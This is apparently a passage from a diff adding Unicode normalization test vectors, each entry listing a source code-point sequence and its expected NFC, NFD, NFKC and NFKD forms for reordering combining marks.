+{ source: [0x0061, 0x0711, 0x0C55, 0x0711, 0x0670, 0x0062], NFC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0730, 0x0062], NFC: [0x00E0, 0x05AE, 0x0730, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0730, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0730, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0730, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0730, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0730, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0731, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0731, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0731, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0731, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0732, 0x0062], NFC: [0x00E0, 0x05AE, 0x0732, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0732, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0732, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0732, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0732, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0732, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0733, 0x0062], NFC: [0x00E0, 0x05AE, 0x0733, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0733, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0733, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0733, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0733, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0733, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0734, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0734, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0734, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0734, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0735, 0x0062], NFC: [0x00E0, 0x05AE, 0x0735, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0735, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0735, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0735, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0735, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0735, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0736, 0x0062], NFC: [0x00E0, 0x05AE, 0x0736, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0736, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0736, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0736, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0736, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0736, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0737, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0737, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0737, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0737, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0738, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0738, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0738, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0738, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0739, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0739, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0739, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0739, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073A, 0x0062], NFC: [0x00E0, 0x05AE, 0x073A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x073B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x073B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x073B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x073C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x073C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x073C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073D, 0x0062], NFC: [0x00E0, 0x05AE, 0x073D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x073E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x073E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x073E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x073E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x073F, 0x0062], NFC: [0x00E0, 0x05AE, 0x073F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x073F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x073F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x073F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x073F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x073F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0740, 0x0062], NFC: [0x00E0, 0x05AE, 0x0740, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0740, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0740, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0740, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0740, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0741, 0x0062], NFC: [0x00E0, 0x05AE, 0x0741, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0741, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0741, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0741, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0741, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0742, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0742, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0743, 0x0062], NFC: [0x00E0, 0x05AE, 0x0743, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0743, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0743, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0743, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0743, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0744, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0744, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0745, 0x0062], NFC: [0x00E0, 0x05AE, 0x0745, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0745, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0745, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0745, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0745, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0746, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0746, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0747, 0x0062], NFC: [0x00E0, 0x05AE, 0x0747, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0747, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0747, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0747, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0747, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0748, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0748, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0749, 0x0062], NFC: [0x00E0, 0x05AE, 0x0749, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0749, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0749, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0749, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0749, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x074A, 0x0062], NFC: [0x00E0, 0x05AE, 0x074A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x074A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x074A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x074A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x074A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07ED, 0x0062], NFC: [0x00E0, 0x05AE, 0x07ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EE, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EF, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F0, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F1, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x07F2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x07F2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F3, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F3, 0x0315, 0x0062] },
